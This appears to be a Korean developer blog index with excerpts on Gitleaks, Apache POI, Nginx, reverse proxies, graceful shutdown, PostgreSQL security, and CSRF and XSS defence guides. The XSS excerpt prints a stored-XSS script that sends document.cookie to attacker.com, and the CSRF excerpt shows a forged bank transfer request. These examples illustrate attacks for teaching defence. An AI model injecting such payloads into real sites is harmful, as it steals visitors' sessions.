Home

0

Git - Gitleaks로 민감정보 탐지하기

Gitleaks란?Gitleaks는 Git 저장소에서 비밀번호, API 키, 토큰과 같은 민감한 정보(secrets)를 탐지하는 오픈소스 보안 도구입니다. 코드를 커밋하기 전이나 CI/CD 파이프라인에서 실행하여 실수로 민감정보가 코드 저장소에 포함되는 것을 방지할 수 있습니다. 주요 특징 빠른 스캔: Go 언어로 작성되어 빠른 성능 제공 다양한 탐지 규칙: 100개 이상의 내장 규칙으로 주요 서비스의 비밀정보 탐지 커스터마이징 가능: 사용자 정의 규칙 추가 가능 Git 통합: pre-commit hook으로 설정 가능 CI/CD 통합: GitHub Actions, GitLab CI 등과 쉽게 통합 설치macOS (Homebrew)brew install gitleaks Linux# Binary 다운로드wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gztar -xzf gitleaks_8.18.0_linux_x64.tar.gzsudo mv gitleaks /usr/local/bin/

0

[JAVA POI] HSSFWorkbook vs XSSFWorkbook vs SXSSFWorkbook 비교

Apache POI Workbook 종류Apache POI는 Microsoft Office 파일을 처리하기 위한 Java 라이브러리입니다. Excel 파일을 다루기 위해 세 가지 주요 Workbook 구현체를 제공합니다. 📌 HSSFWorkbookHSSF (Horrible SpreadSheet Format) 는 Excel 97-2003 파일 형식(.xls)을 처리하는 구현체입니다. 특징 파일 형식: .xls (Excel 97-2003) 최대 행 수: 65,536행 (2^16) 최대 열 수: 256열 (2^8) 최대 Cell Style: 4,000개 메모리 사용: 중간 수준 (전체 파일을 메모리에 로드) 처리 속도: XSSF보다 빠름 사용 예시import org.apache.poi.hssf.usermodel.HSSFWorkbook;import org.apache.poi.ss.usermodel.*;import java.io.FileOutputStream;import java.io.IOException;public class HSSFExample { public static void main(String[] args) throws IOException { // HSSFWorkbook 생성 Workbook workbook = new HSSFWorkbook(); Sheet sheet = workbook.createSheet("Sample"); // 데이터 작성 Row row = sheet.createRow(0); Cell cell = row.createCell(0); cell.setCellValue("Hello, HSSF!"); // .xls 파일로 저장 try (FileOutputStream fileOut = new FileOutputStream("sample.xls")) { workbook.write(fileOut); } workbook.close(); }} 장점

0

[JAVA POI] - The maximum number of Cell Styles was exceeded.

문제 상황Apache POI를 사용하여 Excel 파일(.xlsx)을 생성하거나 수정할 때 다음과 같은 오류가 발생할 수 있습니다. java.lang.IllegalStateException: The maximum number of Cell Styles was exceeded.You can define up to 64000 style in a .xlsx Workbook 발생 원인1. Cell Style 생성 방식의 문제Excel의 .xlsx 파일 형식에서는 최대 64,000개의 Cell Style만 생성할 수 있습니다. 이 제한은 Excel 파일 포맷의 스펙에 정의된 하드 리미트입니다. 일반적으로 이 오류는 다음과 같은 상황에서 발생합니다: // 잘못된 예시 - 반복문 안에서 매번 새로운 스타일 생성for (int i = 0; i < rows.size(); i++) { Row row = sheet.createRow(i); Cell cell = row.createCell(0); // 매 셀마다 새로운 스타일을 생성 (문제!) CellStyle style = workbook.createCellStyle(); Font font = workbook.createFont(); font.setBold(true); style.setFont(font); cell.setCellStyle(style); cell.setCellValue(data.get(i));} 위 코드에서 10,000개의 행을 처리한다면, 10,000개의 동일한 스타일이 생성되어 메모리를 낭비하고 결국 64,000개 제한에 도달하게 됩니다.

0

Nginx SSL/TLS 적용하기

SSL/TLS란?SSL (Secure Sockets Layer) 과 TLS (Transport Layer Security) 는 인터넷 통신을 암호화하는 프로토콜입니다. 1994년 넷스케이프에서 SSL 1.0을 개발한 이후, SSL은 웹 보안의 표준으로 자리잡았습니다. 그러나 여러 보안 취약점이 발견되면서 1999년 IETF(Internet Engineering Task Force)는 SSL 3.0을 기반으로 한 TLS 1.0을 발표했습니다. 현재 SSL 3.0과 TLS 1.0, 1.1은 보안상의 이유로 폐기되었으며, TLS 1.2(2008년 발표)와 TLS 1.3(2018년 발표)만 사용해야 합니다. 그럼에도 불구하고 역사적 이유와 관례상 “SSL 인증서” 또는 “SSL/TLS”라는 용어를 계속 사용하고 있습니다. SSL/TLS의 작동 원리SSL/TLS는 비대칭 암호화와 대칭 암호화를 조합하여 안전한 통신을 제공합니다: 핸드셰이크 단계: 클라이언트와 서버가 비대칭 암호화(공개키/개인키)를 사용하여 안전하게 세션키를 교환합니다. 데이터 전송 단계: 교환된 세션키를 사용하여 대칭 암호화로 빠르게 데이터를 암호화/복호화합니다. 검증 단계: 인증서를 통해 서버의 신원을 확인하고, 메시지 인증 코드(MAC)로 데이터 무결성을 보장합니다. 이러한 구조 덕분에 SSL/TLS는 높은 보안성과 효율성을 동시에 제공할 수 있습니다. 왜 SSL/TLS가 필수인가?1. 데이터 암호화 - 도청 방지

0

Nginx 완벽 가이드

Nginx란?Nginx(엔진엑스)는 2004년 러시아 개발자 Igor Sysoev가 만든 고성능 웹 서버이자 리버스 프록시 서버입니다. 처음에는 Rambler.ru라는 러시아 포털 사이트의 C10K 문제(동시에 10,000개의 연결을 처리하는 문제)를 해결하기 위해 개발되었으며, 현재는 전 세계 웹사이트의 30% 이상에서 사용되고 있습니다. Apache가 오랫동안 웹 서버 시장을 지배했지만, Nginx는 높은 동시 접속 처리 능력과 낮은 메모리 사용량으로 빠르게 시장 점유율을 확대했습니다. Netflix, Airbnb, GitHub, WordPress.com 등 트래픽이 많은 대형 사이트들이 Nginx를 사용하고 있습니다. 주요 특징1. 높은 성능과 확장성Nginx는 비동기 이벤트 기반(Event-Driven) 아키텍처를 채택하여 적은 수의 워커 프로세스로 수만 개의 동시 연결을 처리할 수 있습니다. Apache의 프로세스/스레드 기반 모델과 달리, 각 연결마다 새로운 프로세스나 스레드를 생성하지 않아 메모리 효율이 뛰어납니다. 2. 낮은 리소스 사용동일한 트래픽을 처리할 때 Apache 대비 메모리 사용량이 현저히 낮습니다. 이는 클라우드 환경에서 비용 절감으로 직결되며, 제한된 리소스를 가진 서버에서도 우수한 성능을 발휘합니다. 3. 확장성과 모듈화

0

[Network] Reverse Proxy 란?

Reverse Proxy 란?Reverse Proxy는 클라이언트의 요청을 받아 내부 서버로 전달하고, 서버의 응답을 다시 클라이언트에게 반환하는 중개 서버입니다. 클라이언트 입장에서는 Reverse Proxy가 실제 서버인 것처럼 보이며, 실제 백엔드 서버의 존재는 숨겨집니다. Forward Proxy vs Reverse ProxyForward Proxy 클라이언트 앞에 위치 클라이언트를 대신하여 서버에 요청 클라이언트의 IP를 숨김 주로 조직 내부에서 외부 인터넷 접근 제어에 사용 Reverse Proxy 서버 앞에 위치 서버를 대신하여 클라이언트의 요청을 받음 서버의 IP와 구조를 숨김 로드 밸런싱, 보안, 캐싱 등의 목적으로 사용 Forward Proxy:[Client] → [Proxy] → [Server]Reverse Proxy:[Client] → [Reverse Proxy] → [Internal Server 1] → [Internal Server 2] → [Internal Server 3] Reverse Proxy의 주요 기능

0

우아한 종료 (Graceful Shutdown)

Graceful Shutdown이란?Graceful Shutdown은 애플리케이션이 종료될 때 현재 처리 중인 작업을 안전하게 완료하고, 리소스를 정리한 후 종료하는 방식입니다. 갑작스러운 종료(Abrupt Shutdown)와 달리, 진행 중인 요청을 처리하고 데이터 손실을 방지합니다. 왜 필요한가?일반적인 종료 문제점// 갑작스러운 종료 시 발생할 수 있는 문제들- 처리 중인 HTTP 요청이 중단됨- 데이터베이스 트랜잭션이 롤백됨- 파일 쓰기 작업이 중단되어 데이터 손실- 외부 API 호출이 타임아웃- 메시지 큐의 메시지가 손실됨 Graceful Shutdown의 이점 데이터 무결성: 진행 중인 트랜잭션을 완료 사용자 경험: 진행 중인 요청에 대한 정상 응답 리소스 정리: 연결, 파일, 스레드 등 정리 무중단 배포: 롤링 업데이트 시 서비스 중단 최소화 JVM Shutdown HookJVM은 종료 시 등록된 Shutdown Hook을 실행합니다. 기본 사용법

0

[Web Security] CSRF 공격과 방어 기법 완벽 가이드

🎯 CSRF(Cross-Site Request Forgery)란?CSRF는 사용자가 의도하지 않은 요청을 공격자가 만든 웹사이트를 통해 실행시키는 공격입니다.사용자가 이미 로그인되어 있는 사이트에서, 공격자가 조작한 요청을 사용자 몰래 전송하게 만듭니다. 공격 시나리오 예시 사용자가 은행 사이트(bank.com)에 로그인되어 있음 공격자가 만든 악성 사이트(evil.com)를 방문 악성 사이트에 숨겨진 코드가 bank.com으로 송금 요청을 전송 브라우저는 자동으로 쿠키를 포함해 요청을 전송 은행 서버는 정상적인 요청으로 인식하고 처리 🔍 CSRF 공격의 핵심 원리브라우저의 쿠키 자동 전송브라우저는 같은 도메인으로의 모든 요청에 자동으로 쿠키를 첨부합니다. GET /transfer?to=attacker&amount=10000 HTTP/1.1Host: bank.comCookie: session_id=abc123 ← 자동으로 포함됨! 공격 코드 예시1. 이미지 태그를 이용한 공격

0

[Web Security] XSS 공격과 방어 기법 완벽 가이드

🎯 XSS(Cross-Site Scripting)란?XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다. XSS vs CSRF 차이점 구분 XSS CSRF 공격 대상 웹사이트의 사용자 웹사이트의 서버 공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송 주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그 탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능) 🔍 XSS 공격 유형1. Stored XSS (저장형)악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.가장 위험한 XSS 공격입니다. 공격 시나리오// 게시판 댓글 작성const comment = '<script> fetch("https://attacker.com/steal?cookie=" + document.cookie);</script>';// 서버에 저장됨// DB: comments 테이블에 위 스크립트가 그대로 저장// 다른 사용자가 게시글을 볼 때<div class="comment"> <script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script></div>// ⚠️ 모든 방문자의 쿠키가 탈취됨! 실제 사례

0

[PostgreSQL] 사용자별 보안 설정 가이드

🔒 PostgreSQL 사용자별 보안 설정 완벽 가이드PostgreSQL에서는 사용자(Role)별로 다양한 보안 설정을 적용하여 데이터베이스를 안전하게 보호할 수 있습니다.이 문서에서는 세션 타임아웃부터 접속 제한, 권한 관리까지 실무에서 꼭 필요한 보안 설정들을 정리합니다. 1️⃣ 세션 타임아웃 설정✅ idle_session_timeout (PostgreSQL 14+)유휴 세션을 자동으로 종료하여 불필요한 연결을 정리합니다. -- 세션 레벨에서 설정 (30분)SET idle_session_timeout = '30min';-- 전역 설정 (postgresql.conf)idle_session_timeout = '30min'-- 특정 사용자에 설정ALTER ROLE webapp_user SET idle_session_timeout = '30min';-- 특정 데이터베이스에 설정ALTER DATABASE mydb SET idle_session_timeout = '1h'; ✅ statement_timeout단일 쿼리의 최대 실행 시간을 제한하여 과도한 리소스 사용을 방지합니다. -- 세션 레벨 (10초)SET statement_timeout = '10s';-- 웹 애플리케이션 사용자: 짧은 타임아웃ALTER ROLE webapp_user SET statement_timeout = '30s';-- 배치 작업 사용자: 긴 타임아웃ALTER ROLE batch_user SET statement_timeout = '10min';-- 관리자: 제한 없음ALTER ROLE admin_user SET statement_timeout = 0;